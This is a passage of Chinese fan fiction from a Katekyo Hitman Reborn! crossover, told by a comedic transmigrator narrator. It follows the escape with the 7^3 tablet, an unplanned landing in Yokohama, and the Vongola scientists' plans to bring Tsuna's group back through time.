他被切成两半的上衣昭示着他曾经受到的锋利攻击,额头乱糟糟的头发上还浸染着粘稠红色,但血液之下被重物砸开的伤口、和腹部明显来源于斯库瓦罗脱身前的一发剑伤,都已经在肉眼可见地愈合着。 我看了看自己的手腕,又看了看斯库瓦罗怀里差点被迅猛龙头夺走的7^3石板,大声道:“斯库瓦罗,不要恋战!” 我趁着蓝铃高烧带来的恍惚,一把抓住了她,将她甩回了桔梗身边。 大家长一样的桔梗只要有一瞬间的顾忌去接蓝铃,就会给斯库瓦罗脱身的机会,有雏菊在,蓝铃的状态很快就会恢复。 头顶这些反常的乌云不可能毫无缘由地聚集,这应该也是八兆亿卷王在给我们铺的撤离之路。 又一道闪电从天而降,早已七分八裂的地面上,海浪翻涌而起,刺眼的电光掩护着我和斯库瓦罗的行动。只在桔梗接住蓝铃的瞬间,我感觉到胃像是被人打了一拳似的,差点把昨天的饭菜呕成彩虹。 斯库瓦罗,我的老大哥,你扛我走的时候,能不能稍微关注一下我的身位。这样全速冲击之中,被自己人的肩膀砸中胃部的感觉——一言难尽。 但斯库瓦罗大概是看不到我的异常表情,他正忙着开匣。将岛屿分割开来的沟壑中涌入的海水成了卷王为我们制造的天然的撤退水路,斯库瓦罗将火焰注入匣兵器中,却将开匣的方向对准了身后——雨之火焰在我们俩的头顶汇聚出鲨鱼的模样,摆动的巨大尾巴撞击着沟壑两边,二次震动显然影响到了岛面的稳定,摇晃的山壁洒下泥土,悬崖边缘的几棵树砸了下来,遮挡住了最先反应过来的、桔梗的龙头。 只是争取这几秒,就足以斯库瓦罗的匣兵器,大张着鲨嘴将我二人一吞坠入深渊,消失在没有边际的黑色海水之中。 第128章 以我对桔梗的了解, 即使我们跳入水中,身后多半也有追兵,逃跑本应该一波三折, 才不负密鲁菲奥雷的威名。 但是八兆亿卷王分了些天时给我们, 这样的深海之中,斯库瓦罗的鲨鱼又占尽了地利,再加上一点我“杀死”白花花给真六吊花带来的精神冲击, 勉强算得上是人和——脱离密鲁菲奥雷掌控的海域着实不算困难,甚至可以说是顺利可怕。 开启了家庭教师online的Easy模式。 斯库瓦罗的精神极其亢奋,即使接连也遭遇了不少意外和恶劣天气、即使浑身湿透、长发发尾还被晴之火焰燎了一截;虽然原本的计划还没有开始推进就已经中道崩殂,但在他看来, 所谓的“幸运之神”显然一直站在我们这边, 一切都因祸得福,不仅轻轻松松把7^3石板握在了手里,还把敌方BOSS干掉了。 ——这是什么丰功伟绩!马上载入彭格列史册。 他亢奋地帮我把手腕上的伤口包扎好,还顺手把咬着我腰和屁股的迅猛龙头拔了下来,好尖的龙牙, 四个洞洞冒血水——好消息是, 总算没有东西一直干扰我的痒痒肉,憋笑真的很伤身。 “等等——我的雨之指环呢?”我信心满满地打开手掌, 却发现一直握在掌心的, 只是一个染血的骨头碎片——我那么大一个雨之指环去哪里了! 刚才被斯库瓦罗扛上肩的过程确实有些猝不及防,但我发誓, 我的第一反应甚至不是忍住我胃里翻涌的小彩虹, 而是抓紧我手里的重要道具, 这可是我用腰、屁股和半个手腕换来的! 小彩虹吐出来倒霉得很可能是“罪魁祸首”斯库瓦罗, 但如果指环没了, 加班的就是我了。 但是可恶! 还是没有了! 斯库瓦罗被我的情绪感染得紧张了几秒钟,紧接着,他大概感觉到了胸口暖暖的,把“暖物”拿出来一看,7^3石板上属于玛雷指环的圈里,赫然已经填补上了「雨」的空缺。 我愣了几秒,受伤的手腕虽说没有太强烈的刺激感,但毕竟少了半个手腕,手指传递到神经里的感知确实缓慢了许多。 我仔仔细细地回忆了一下刚才撞上斯库瓦罗的全过程——可能、大概、也许……我确实是手先撞上去的? 好家伙,卷王在这里给我搞了一手出其不意! 他肯定是故意的! 我狠狠地皱起了眉,先前找理由拖延着不想把白花花的大空指环放上去,祂肯定是着急了——卷王就是卷王,主打的就是一个高效率,一点时间都不想浪费。所以这次,他甚至都不打算等我行动,直接自己创造了个意外,将雨之指环收入囊中。 虽然很合理、虽然我也确实打算把指环放上去,毕竟要想办法往回捞主角团,但……朕可以主动给,但祂不能主动要! 霸道的我.jpg 斯库瓦罗看着我几经转变的表情,顿时也紧张起来,连嗓门都不由自主地降下来了,“怎么了?顺序……不对?” “你声音好小,我都不习惯了。”我瞬间抬头,不假思索地说道。 斯库瓦罗的头顶飞过一只拖着六个点的乌鸦,“这是我的鲨鱼,声音太大会伤到它的!” 原来是因为小鱼,不愧是扛着十斤食材带任性BOSS出门的男妈妈,爱他就为他留长发。 我给斯库瓦罗竖起了大拇指。 他背后一凉,眯起眼睛看我,“总感觉你在想什么很危险的东西。” 哪有什么危险,不过都是实话实说罢了。 我绷住表情,把7^3石板挪过来,仔细看着。 谁能想到这个石板上,最先集齐的竟然是玛雷指环——估计过往的八兆亿个世界里,从来都是玛雷指环在最后。 话说,其他的白花花们会杀掉真六吊花拿回指环吗?总感觉是邪恶摇粒绒能做出来的事,毕竟世界都毁灭了,还在乎这么几个人吗? 没有目标、对人生丧失乐趣、但又拥有强大力量的白花花杀伤力可真大,因为感到无趣所以尝试统治世界、进而毁灭世界……有点癫。 仔细想想的话,多半就是他这样的癫公属性塑造了奇特的世界意识。八兆亿卷王,都是被白花花卷出来的,毕竟能够穿越、连接平行时空的,就只有白花花一人——这就是卷的下场,白花花被自己卷出来的世界意识反噬己身。 我愤懑了一声,正经起来。既然是白花花卷出来的,那自然不可避免,卷王没有形态的身体里,有着无可否认的白花花的精神烙印。 这倒是个不错的方向。 我摩挲着石板,左下角玛雷指环凹槽组成的圈圈里,属于石榴的「岚」、属于桔梗的「云」、属于雏菊的「晴」、属于蓝铃的「雨」——这些都是我或主动、或被动,亲手放上去的。但剩下的两个,本应属于Ghost的「雷」由于白花花、Ghost和八兆亿卷王之间的复杂关系,以及六道骸的移花接木,完全没有出现在正面战场的机会,但雷属性的玛雷指环本身却和属于狼毒的「雾」一起,安稳地镶嵌在属于自己的凹槽之中。 八兆亿卷王不能直接控制人和指环,所以这两个指环也必然是人放上去。雾之指环在选择战狼毒打出GG之后就回到了白花花的手中,所以只能是白花花自己把指环放了上去。 以先前他把彩虹之子奶嘴长期镶嵌入7^3石板的行为大概可以推测,把代表7^3内容的指环、奶嘴放入石板是他的习惯。 但这里就会产生一个问题,既然他都已经下令转移7^3石板了,怎么会看不到石板上多出来的那些指环——被我抢走的指环突然出现在石板上,他难道不应该怀疑我悄咪咪地潜入了他的基地吗? 但凡有防备,白花花就不可能在今天这种时候尝试去平行世界里寻找攻略。事实证明,那会让他的蓝条见底,达到精神和身体双重虚弱的不良状态。 就像刚才,我烧他的时候,他甚至都来得及做什么有效的反击。 这可不是大BOSS该有的牌面。 我抱起石板,按在鼻子前仔细地嗅闻。 “……你到底在搞什么抽象?”斯库瓦罗不懂,但斯库瓦罗大为震惊。 答案很简单,我没有在搞抽象,只是在感受石板上残留的味道——火焰灼烧的味道。 而且,我确信自己闻到了一股炒糖色后,锅里残留的隐隐甜味。 超能力的指环火焰也是火焰,既然灼烧空间会留下白花花的焦痕,就说明火焰再玄学,也有物理的基础属性。 只是,在基础属性之上叠加觉悟属性,不同的火焰灼烧的效果不同。比如岚之火焰的味道就相当刺激,像滚烫融化的铁水;雨之火焰很清冷,像是雨后的泥土;晴之火焰非常符合自己的火设,像是死掉的螨虫味,也就是俗称的晒被子的味道;雷之火焰我只近距离接触过Ghost,但他的属性多少被卷王异化过,又带着大空的尾调,混杂起来像是像混凝土;云之火焰则类似于清晨的原始森林,很难用言语形容的神秘味道,我能想到的最好的形容,就是有一股雾的味道。 那真正的雾属性呢? 雾的味道最让人摸不着头脑,它是甜的——仿佛就是在呼应迷雾幻术的欺骗性,甜甜的味道就像是幻术师的鱼饵。 当然,这些味道都很淡、非常淡,需要非常仔细地辨别才能察觉——至少要像我这样,把鼻子怼到石板上才行。 我在7^3石板上,闻到了淡淡的炒糖甜味。 总不能是有密鲁菲奥雷的人,背着白花花真的用石板来炒糖色了吧? 哪怕白花花再癫,也不会用7^3石板来烤棉花糖吃……吧? 不会的不会的,我相信白花花自有大BOSS的牌面,不会这么离谱。 我摸了摸7^3石板上的雾之指环,如果是用这个很可能在选择战后就被嵌入其中的玛雷指环的话,应该能够做到构筑足以欺骗人眼的幻术。 白花花可不会做这种无谓的事,唯一对此有需求的,就只是八兆亿卷王而已。 这可是一个重要的发现,意味着至少通过这个石板,卷王做到了“影响”之外的事——祂使用了指环。 虽然只是一丢丢幻术,但“能够使用”,就是从无到有的历史性跨越。 我不禁想起先前和六道骸口嗨的那些东西,为了欺骗八兆亿卷王,我搬出了7^3石板作为挡箭牌,赋予了石板“拥有自主意识”的认知——就像我对自己人设的塑造一样,我对六道骸的“洗脑”同样在一定程度上塑造了石板和卷王之间的联系。 就像是把一件合理的事写入了「书」,使之成为了现实。 各位清汤大老爷明鉴,我一开始真的没有给祂加buff的打算。 但事已至此,未尝不是一条新道路。 “嘶——其实只要想得开,所有的坏消息都可以变成好消息。”我摸着下巴,开始思考。 我看着眼前的石板,仿佛看到了另外一个「书」。 比起看不见摸不着的东西,如果祂真的有了实体,反而会更好对付。 当然也不能不考虑后手,一开始要从内部击溃的祂的计划也完全不能停!前后夹击,务必要让八兆亿卷王死无葬身之地! “嘿嘿嘿——”我阴暗地笑了起来,好像不知不觉走到了我熟悉的换赛道搞破坏的环节。我将我手里的大空指环摘下来,在石板前。顿时,我就感觉到石板上隐隐传来一股吸引力、一股拉力,仿佛我只要一松手,指环和石板就会像吸铁石一样,紧紧地拥抱在一起。 但我是不会松手的。 就是要让卷王好好感受一下大空指环的气息,看到了吧、感受到了吧——诶嘿,不给! 我得意扬扬地昂着下巴,又重新把指环戴回了中指。 斯库瓦罗看着我自言自语,一会儿苦闷、一会儿纠结、一会儿“嘿嘿嘿”、一会儿眉飞色舞、自我陶醉,他眉头一跳,战术性后仰,终于忍不住开口,“纲不吉——你不会被雷劈傻了吧?” 第129章 我没傻。 不仅没傻, 而且还很清醒。 “不用把白兰的指环也放上去吗?”斯库瓦罗大概实在是看不下去我捻着大空指环在7^3石板面前嘚瑟得晃来晃去的样子,于是便出言提醒。 说实话,可观来看, 对着一块石板嘚瑟确实是很怪异的行为。 但勇敢的我, 不怕被蛐蛐! 我坚定地摇了摇头,故作神秘地对石板伸出我神秘的中指,将指环套了回去, “暂时还不需要,还没到时候。” 斯库瓦罗不明觉厉,他对自己的定位很准确——战斗非科研,所以, 他并没有多怀疑我的判断。 毕竟大空指环是在我的手里。 不过, 他倒也不是完全信任我,他可是独立暗杀部队的一员,警惕和怀疑在某种程度上写进了本能。即使是在黑灯瞎火的鲨鱼嘴里,是在他自己的匣兵器中,斯库瓦罗依然保证了任何时候石板都在他的一臂范围之内。 感觉是随时能把我踹出去自己跑路的站位。 “说起来, 瓦利亚那边怎么安排?石板和指环都要回到并盛才行, 瓦利亚一起护送石板吗?还有入江君,他那边怎么说, 有回信了吗?”我问。 想要把主角团从一个错位的时间点拉回来, 哪怕有八兆亿卷王的“天时”随时配合,入江正一手里那个白色的装置依然是穿越中绝对必要的道具。 在和斯库瓦罗出发之前, 我就提前和正一联络过, 和他交换了一些7^3石板的特性情报和关于将时间线拨乱反正的基本构想。 “不, 瓦利亚不能动。白兰的死不会马上传出来, 而且密鲁菲奥雷是个大家族, 欧洲战场的战力很多,不是只有白兰一个战力。贸然撤人可能会导致主战场出现变故,越是这种时候,越是不能自乱阵脚。”斯库瓦罗迅速给我讲明了战术安排,“至于入江——” 斯库瓦罗掏了掏口袋,从自己的衣服里,摸出一个已经看不出原型的通信器——只有一堆泡过水的零件。 这样的通信器,哪里来的“入江君的消息”。 我抱着百分之一的希望,问,“你会修吗?” 斯库瓦罗盯了我两秒,然后捻起一个几乎泡发了的芯片,戳到我面前,“你看这些零件像是可以使用的样子吗?” 我摸了摸下巴,认真接过来仔细研究了一下。通常来说,泡成这样、损坏成这样,肯定是不能用了,但鉴于这也不是什么科学的世界……我抬头怀疑地看向斯库瓦罗,“……不能吗?” 斯库瓦罗翻了一个比他头发还白的白眼,“不!能!” 他看我的眼神,简直像是在看他那些瓦利亚的队友。 我竟然在不知不觉中堕落到了列维的级别?! “咳——”我清了清嗓子,一本正经,“开个玩笑,我知道的,不能。” 后面的行程没有什么突如其来的海啸和火山,洋流带着我们一路向阳,我迷迷糊糊地睡了一觉,休眠有效地加快了我的恢复。朦胧睁开眼的时候,就感觉到鲨鱼的速度减缓、浮出水面,接着很快就搁浅在了海岸。 到站了。 不知是不是在鲨嘴的黑暗里丧失时间感知的缘故,我觉得这段返程的路竟然比那经历了海底火山动荡的来时路还要长。 张开的鲨嘴带来了一阵新鲜空气——终于不用再呼吸鱼鳃过滤氧了——并不算明亮的光线此时却有些刺眼,我不由地抬手遮住眼睛。 斯库瓦罗似乎早就习惯了这样剧烈变化的环境和光线,伸展了一下手腕将石板一揣就跳了出去。 然后,他就发出了一声大嗓门的惊呼,经典“VOI——!” 我不明所以,顿时紧张了起来,虽然想不出来此时还有什么“有形”的敌人能够产生威胁,但我还是赶紧调整状态,想要冲出去。 很显然,我忽略了我此时发麻的腿,以及鲨鱼滑滑的舌头。 “砰!” 好听吗,好听就是好头。 我的好头! 但凡再往出走两步都是软软的海滩,可我就是撞到硬硬的鲨鱼牙面上——要学会看到事情好的一面,我毕竟没有直接摔在牙齿上,我一点也不想知道我的头和鲨鱼的牙到底谁更硬。 手腕少了一半还是小时,睡一觉就好了;但少了一半头,哪怕是我都不知道该如何和斯库瓦罗解释,我是僵尸? 秉持着好队友的精神,我从善如流站起来,假装什么事都没有发生,一脸严肃并且警惕地看向了外面。 秉持着,只要我不觉得尴尬,就没人能让我尴尬的精神,我抬头顺着斯库瓦罗的视线看到了—— 一片干净的海滩? 没有敌人、没有异常,只有咸咸海水和“库库”掉头皮屑的斯库瓦罗——好吧,准确地来说是在掉盐,被海水染透了的头发风干之后的结晶。 我发誓真的很像随风飘动的头皮屑。 但这实在算不上什么异常。 斯库瓦罗为什么会发出那样的“VOI”声? 哪怕要叫,也应该是旁边正穿着泳裤晒太阳的普通平民叫才对,这里应该是某人的私人海滩,或是海滨浴场包场? 沙子很细很干净,人却很少,一只手就能数得过来。 一群正在晒太阳的人突然看到巨大的鲨鱼冲上海滩,接着鲨鱼嘴里又跳出两个人……好炸裂的画面。 难怪距离我们最近的那个人连滚带爬地跑开了。 我眼睛一眯——等等,斯库瓦罗,不会是在吊嗓子吧?释放一下在鲨鱼嘴里没有办法发生吼叫的压力? 我应该问一下斯库瓦罗突然抽什么疯,不过我很快就意识到,没有这个必要。 沿着沙滩看向更远的前方,道路、楼房,一个让我无比熟悉的城市出现在面前。 是横滨。 我大脑一空,瞳孔地震,下意识地抓住了手腕上的手环。 救命,不会是之前启用的穿越功能还在起效吧,要是把斯库瓦罗带到了横滨,我该如何解释? 不对,现在的我在横滨也完全没有身份! 我心脏“砰砰”地想要从胸腔直接跳出嘴外。 但很快,我的眼睛扫过能够看到的一切风景,我冷静了下来——太好了,没有那五座标志性的高塔,我松了口气。 横滨也不是野犬剧场独有,这是家庭教师片场的横滨。 差点以为我带着斯库瓦罗在鲨鱼嘴里穿越了,那就好…… 好个鬼啊! 为什么鲨鱼会停在横滨?我明明记得我们的目的地是瓦利亚的接应点,是在意大利的接应点。 我看向旁边的斯库瓦罗,在对方的眼神中看到了相同的疑惑。 至少现在我知道刚才的声音是怎么回事了,他只是在抒发和我一样的情绪,只是稍微激动了那么一点点。 “你导航的横滨?”虽然觉得不太可能,但我还是问出了口。 “不!”斯库瓦罗的行动力强得可怕,遇事首先思考的不是无谓的溯源,而是先寻找解决办法。 比如现在,他一个加速冲刺,就掐住了泳裤男命运的后脖颈,“和善”地征用了他的手机。 我得强调,斯库瓦罗绝对是整个瓦罗亚最有礼貌的人,作为独立暗杀部队的二把手,他甚至没有想要抢劫,而是要购入这人的手机。 当然,我们俩现在的状态都是口袋空空——出门战斗搏命,带武器、带补给,谁还带现金。所以,斯库瓦罗使用了自己最温柔的表情——仅仅像是要把人大卸八块,而不是挫骨扬灰——向手机的提供者要了家庭住址,并保证随后便会有人上门。 不是我蛐蛐别人,但谜语人应该滚出横滨,斯库瓦罗你多说一句会怎样,那人显然以为有人要上门灭口。 他看上去马上就要窒息了一般,并且我毫不怀疑,他只要有机会脱离现状,就会连夜扛着家庭住址离开这里。 我赶紧追了上去。 和斯库瓦罗这个煞神相比,衣服上全是干涸血迹的我也显得正常了不少。 我赶紧拿出我做校园采访的表情,安抚道:“我们不是坏人,只是普普通通的黑手党成员而已。” “什么叫普通黑手党,”斯库瓦罗可听不得这样的话,“排除了密鲁菲奥雷的威胁,我们就是全世界最危险的黑手党,而且,我们瓦利亚是最危险的黑手党中最危险的部分。”他甚至强调自己的威胁性。 完全没有帮助,斯库瓦罗先生。 这位只穿着大裤衩子的男士看上去要枯萎了。 要不还是改抢劫吧,至少这样他只需要承受一点经济损失,不用担心“世界上最危险的黑|帮|分|子”找他灭口。 “我什么都不会说的,我什么都没有看见。”男人终于颤颤巍巍地说出了求饶的话来。 此时,斯库瓦罗的眼睛里绝对闪过了一丝尴尬。 他生在西西里岛,长在黑手党家族,甚至在黑手党学校上学成长,还没有毕业就跟了XANXUS,接着就是剑帝成长实录。 我怀疑他根本就没有和正常人相处过。 “越是危险的黑|帮,做出来的奶茶就越好喝。”我赶紧示意斯库瓦罗松开手,“我们只不过是坐着鲨鱼连夜来抢占横滨市场,哈哈哈。” 我干笑了两声,也不知道这个人究竟信了没有,反正是没再敢多待,斯库瓦罗一松手他的第一反应就是跑路,我甚至感觉他想要对斯库瓦罗说一句“多谢不杀之恩”。 今日份的笑话满足。 斯库瓦罗大概在联络彭格列日本分部的人,这部分不需要我来插手。我比较在意的是鲨鱼会游向此地的原因——无疑是卷王,答案很容易得出。 只是,这会不会有点急躁了。 先前那些——从复仇者监狱开始到白花花小岛,都还能用“巧合”“意外”“幸运”等词来形容,这次就有些离谱过头。 日本不在我们的目的地上,鲨鱼是斯库瓦罗的匣兵器,在没有极端天气引导的情况下,直勾勾地奔着下一步彭格列指环和彩虹之子奶嘴所在地前来……演都不演了啊。 我看着斯库瓦罗怀里的7^3石板,八兆亿卷王比我想得还要急躁。 八兆亿个世界都卷过来了,此时却没了耐心? 还是说,有什么因素逼得祂不得不放弃谨慎,加快进度。 在祂变得急躁之前发生的最后一件事、最有可能成为转折点的时间,就是消失的白花花。 我看着手背上因为和适格者彻底隔绝而黯淡的玛雷大空宝石,卷王的存在依赖于平行世界的复杂性,换而言之,祂需要保持八兆亿个平行世界之间的联系……平行世界之间的联系,一直在由不明真相的白花花主动维系,难道祂因为白花花之死而急了? 但卷王也确实在引导我杀死白花花。 所以……关键不是白花花,而是大空指环吗? 我没有把这个指环给祂,没有把大空放上7^3石板。 祂急了。 我忍不住笑了出来。 斯库瓦罗放下电话,“你又在一个人想什么乱七八糟的东西?” “这是在一个阶段的胜利后,发自内心的笑容。” “白兰死了确实值得一笑。”他的笑就张扬许多,他把手机收了起来,告诉我强尼二已经派出了新型载人机器人飞行莫斯卡来接我们。但他的究竟匣兵器为什么会到这边来,他也没有多少头绪,“硬要说的话,或许是洋流影响?我确实也没有全程指挥……” 斯库瓦罗和我一样,在一场神经高度紧张的石板争夺战和白花花刺杀行动后,松懈下来的疲惫神经将我们带入了睡眠。 卷王应该就是趁着这个机会影响了匣兵器鲨鱼的前进方向。 “算了,这或许就是‘命运的指引’。”我似笑非笑,“让我猜猜,入江君是不是有进展了?” 斯库瓦罗有些意外地扫了我一眼,“猜的不错。” 就算没有发现,“命运”也会加快入江正一的效率。 “入江正一那个家伙说,已经在时间轴上找到了彭格列指环的波动点。”斯库瓦罗还顺道解释了一句原理,“沢田纲吉他们和过去某个时间点的自己同时处于一个轴点,相当于两套彭格列指环同处一个时间点,所以指环的波动会异常清晰。” “明白了,只要能捕捉一次,就能持续追踪异常的波动点。”这个原理很简单,毕竟时间轴是永远动态存在的,要是按照寻找空间点的方式入手,无异于刻舟求剑。 入江正一不愧是专家,这么快就找到了突破口。 那接下来要做的,就是把主角团带回来了。 沢田纲吉,一款幸运与倒霉交织的兔子。离开的时候彭格列还在战局弱势,努力修行、获得初代认可之后,自信满满地再回来,却发现——和密鲁菲奥雷的战斗已经结束了嘞! 第130章 说实话, 科学的解释和操作并不需要我担心,彭格列自有自己的科学势力。 入江正一、斯帕纳、强尼二,随便拎出来一个都比我专业, 正一甚至是科学穿越第一人, 外挂不够,脑子来凑。 和他们瞎扯我的COS系科学理论,很容易穿帮, 万一他们问出几个我完全听不懂的问题,可就麻烦了,很容易崩人设的。 所以,我真的很想游离在他们的研究圈外。 但我前期的人物形象塑造得过于成功, 以至于入江正一强烈要求我加入科学小组, 一副要把会议室搬到我房间的架势——可恶,我的床是净土,决不能被任何工作污染! 我妥协了,和他们一起站到了巨大的白色装置之下。 我个人认为,我自己主要起到的是一个想象力和花瓶的作用, 但其他三个人显然不这么认为。 ——想要我起主要作用? 我看你是在为难我胖虎。 “纲吉君他们掉落的时间点有些不太好, 这个时间区间,本时间线的纲吉君已经按照正常顺序继承了彭格列, 进行了系统性的十代目训练。威尔帝的匣兵器实验开启得很早, ‘火焰’的理论对那个正式十代目纲吉君而言,已经非常成熟, 再加上时间特性独立于火焰, 是指环本身的属性……论对指环的熟悉程度, 果然还是那个时间线的纲吉君更胜一筹。”入江正一碎碎念式科研, 显然满心担忧。这也是他和其他两位技术队友明明在我和斯库瓦□□掉”白花花之前就已经有了成果, 却迟迟不敢行动的原因之一。 即使有了7^3石板这个可以直接在纵向时间轴中,联络彭格列指环的大杀器,他却依然不敢轻易启动时间装置,“如果利用7^3的特性,直接开启时间窗口,恐怕石板最先连接的指环是正线的纲吉君而非我们的纲吉君。十年前的纲吉君的最大优势是,他知道我们一定会主动寻找他,也有正线纲吉君没有经历过的亲身穿越体验,他应该会更快意识到石板连接的缘由……但,我没有百分百的把握,而这不是可以赌的事情。” 入江正一一边持续碎碎念,一边到处翻找自己的胃药。他显然非常担忧时间线的错乱,尤其是在我以平行世界紊乱为反面例子给他一顿恐吓之后。 恐吓效果好像有点好过头了。 “纵向时间轴的比横向的空间轴更加危险,平行世界出现漏洞会把风险分摊到各个平行世界之中,但时间轴的异常会全部反作用于单一的时间线本身。”斯帕纳补充的话让正一的胃持续遭受重创,“如果传送回来的是时间轴正线的彭格列,那可就麻烦了,时间轴上三点错位,绝对会是出问题的,运气不好的话会出现‘时间折叠’的现象,几乎不可能复原。” 不不不,相信我,我们现在的阵营,完全不可能会出现“运气不好”的现象——绝对是货真价实的“超时空级的幸运”。 强尼二闻言担忧,“这样的话,不论如何谨慎,都必然会让同时代的两个十代目都察觉到指环的波动,就算能够精准将十年前的那个十代目带回来,也绝对会挑动到另外一个十代目的神经吧?十代目大人可是拥有超直感的人!” ——不要在这种事情上这么自信啊! 强尼二的背景燃起了熊熊烈火。 只要使用,就会产生漏洞。 我扶额,这样说来,还真让人觉得,这个巨大白色装置要是嵌入了7^3石板,就完全不能开启。 三个人齐齐扭头,看向了我。 兄弟们,稍微有点想象力,世界意识现在巴不得帮我们把主角团传回来,哪怕是赌百分之一的概率,也绝对不会输的。 不要小瞧八兆亿卷王的卷力啊,可恶! 我在三人期待的眼神中,开始发挥我“穿越失禁”卷出来的胡扯功力,“不,事实上只要不拉错人,就算被感知到了也无所谓的吧?” 科研三人组:? “我问你们,玛雷指环的特性是什么。”我伸出自己的手,展示出白花花的大空指环。 我其实只需要很直白的答案,但我这样特意地一问,反而给他们三个整不自信了。 我首选看向了距离我最近的斯帕纳。 斯帕纳就像是被老师点名的学生一样,谨慎道:“如果从白兰的能力直观来看,应该是窥探平行世界吧。” “不不不,不仅仅是‘窥探’的程度,绝对可以达到‘改变’的地步!”强尼二笃定地说。 “‘改变’有点夸张了,‘影响’的话是不是更中肯。”入江正一摸着下巴,和两位理科同僚们抠字眼。 原来纠结的地方在这里吗? 我目瞪口呆,不愧是科学家——严谨,实在是太严谨了。 但重点出现了一点点小偏差。不论是窥探、改变还是影响都不重要,本质上都没有区别,只是程度大小的累积而已。 “‘大海广阔却不知限度,贝壳代代相叠而得以继承,彩虹时而出现又消失缥缈’,”我赶紧照抄尤尼酱的台词装深沉,把重点拉了回来,“玛雷指环象征着横向时间轴,即使抛开适格者白兰天生就拥有的平行感知,指环本身就拥有在‘广阔的海’中游荡的能力;与之相对,彭格列的指环上本身就铭刻着过去和未来所有的时间点,那句话怎么说得来着——‘指环上铭刻着我们的光阴’。否则,初代目的试炼又为什么能影响到现实世界呢?” 斯帕纳流露出认同的神色。“也就是说——即使有某个瞬间的呼应,也是彭格列指环的正常现象?” 我点头,“至少会被认为是正常现象,惯性思维是,彭格列指环铭刻着过去的时间,也就是所谓的‘贝壳代代相叠’。但,相叠的贝壳所形成的纵轴和时间一样没有上限和下限,就像没有人知道时间的开头和终点。在这种时间轴上,实际上是没有所谓‘过去’和‘未来’概念的。每一个贝壳代表一个时间点,那么理论上来说,任何一个时间点都可以是‘现在’。” 是不是听得云里雾里、是不是有种把简单道理转化成书面概念的不讲人话感,这就对了,我也不知道自己在说些什么鬼话。 但我的经验告诉我,大家就喜欢听这种不讲人话的调调,我顿了顿,“换而言之,时间不仅仅代表过去,还有未来。但,彭格列指环的拥有者从未擅自涉足过未来——好吧,严谨一点,在你们这个装置之前,没有擅自涉足过未来。只有十年前的彭格列和十年后的彭格列两个点,有认知地牵涉到了‘未来时间’。 而在这个十年的时间轴中,任何一个其他轴点的彭格列十代目家族,在感受到指环波动的时候,都会很轻易地将波动归于指环过去所铭刻时间。彭格列指环的继承一直以来都存在前代认同的环节,这是惯性思维;而我们的纲吉君就不一样了,他只要感受到时空波动,就会领会到联系来自于未来。” 就算纲吉反应不过来,我相信Reborn的铁拳也会让他灵光一闪的。 “人无法想象自己认知以外的事情——所以,只要我们的行动足够快,纲吉君他们回应得够快,这种情报差距带来的惯性思维,完全可以压过纲吉君的超直感。”我二话不说就把石板嵌入了巨大的白色装置——说真的,正一完全不打算给这个装置起名吗,哪怕是大型十年炮筒也算。 入江·疑似偷懒·不起名·正一。 强尼二眼睛里冒着圈圈,喃喃地说道:“如果时间轴上没有‘过去’‘未来’的概念的话,那指环上铭刻的历代彭格列的时间,不是可以直接转化成‘现在’的轴点吗?也就是……过去的时间可以现身于现在,过去的先代可以出现于过去未来任何时间,这样强大的力量,过去的十代之中,为什么从来没有使用过呢?” “因为敬畏——正是因为理解了时间的规则,所以才懂得规则的重要性。‘改变过去’、‘预知未来’、‘存档读档’这确实都是极大的诱惑,但反复穿梭于时间之中不仅会扰乱时间单向的秩序,还很容易在这种时间的权力中迷失自我,甚至……会丧失对时间的概念。就像西西弗斯一样,没有锚点的‘无限’是很可怕的哦。”我压低了声音制造恐怖氛围,一本正经地将脑子里所有和时间循环有关的电影都翻了个遍,比如什么《O目的地》《O怖游轮》《O星来的那一页》《O蝶效应》什么的,把时间穿越的副作用整合起来,煞有介事地一波输出恐吓。 嗐,文化人的事,怎么能算嫖呢——江湖救急罢了。 “诶——我说出来了吗?”强尼二赶紧捂住嘴,一脸懊恼,“这样擅自议论先代真是太不尊敬了!” 差点忘了,彭格列家族尽是各类忠犬。 就连XANXUS和斯库瓦罗也都能达到忠犬的标准。 “纲不吉君……”斯帕纳突然用一种奇怪的眼神看着我。 我现在就是非常后悔,当初怎么就给自己搞了这么一个名字,被一本正经地叫出来感觉好怪——他甚至是重读了我这个玩笑一般的名字,像是从名字中汲取灵感,想到了什么一样。 还不等我细细琢磨,斯帕纳接下来的话,让我彻底感觉到了一种来自于脚趾的躁动,想要抠出一个芭比梦幻城堡。 “‘人无法想象自己认知以外的事情’,你是这么说的,对吧。”他抬头,直勾勾地盯着我,“这么多情报,完全不是‘研究’两个字就能得的结论吧,如果不亲身经历的话……你是怎么知道这么多的?” 我瞳孔骤缩——不好,装过头了! 斯帕纳,你发现了华点。 我说我现场编的,你信吗? 听着斯帕纳的话,入江正一也完全沉浸其中,不知道在想些什么。但我清晰地看着他的眼神从微妙、思索到灵光一闪,再到真情流露、甚至隐隐含泪的全过程。 虽然不知道你在想什么,但绝对不是好事,请不要再想下去了啊,喂! 130-140 第131章 说实话, 我一点也不想回答斯帕纳的问题。 有种不论如何回复都会被推到坑里的感觉——啊,这个装过头的无力感,对味儿了。 “其实是我现场编的啦。”看我这真诚的双眼, 看我这诚恳的措辞, 看我这感人的微笑.jpg 入江正一欲言又止,“就算是不想回答,也找一个像样的理由啊……” 不说人话你们又要找漏洞地问, 说了实话你们又不相信。 “唉,我明明超级真诚的——”我无奈地摊了摊手,“话说回来,纲吉君他们在错误的时间线上待的时间越久, 他们的情况也就越危险吧。如果被另一个纲吉君察觉, 或者时间线折叠,那可就麻烦了,说不定就会出现时间缺口,他们可能就再也回不来了哦——!” 或许是一点点的慌张,我的语速不由自主地加快, 语气也变得夸张了起来, “所以,少年们, 不要大意, 赶紧开始行动吧!” 斯帕纳发挥了自己死鱼眼的特点,面无表情地说道:“啊, 好生硬的转移话题的方式。” “真啰嗦啊。”我“哼”了一声, 毫无征兆的一巴掌拍在7^3石板上。顿时, 套在我手上的大空指环和石板上属于它的凹槽联动起来, 发出激烈的橙色光芒, 其他玛雷指环也像是惊醒了一般,被翅膀簇拥的宝石仿佛摆脱了固体形态,变成了燃烧的光,闪耀地交叠,连成了一个圈。 好强的吸力,八兆亿卷王这是连装都不装了,直接想要趁着这个共鸣的机会,把大空的指环归位。 好急躁,难道不知道表现出急躁就很容易落到下风吗? 我是不会让祂这么轻易得逞的。我的手腕处涌出白色的“绷带”,细密地缠绕在中指的指环上,用最简单的方式固定住了指环的位置。 同时,指环套着我的手指,紧贴在石板的凹槽上,也完全不影响发挥。 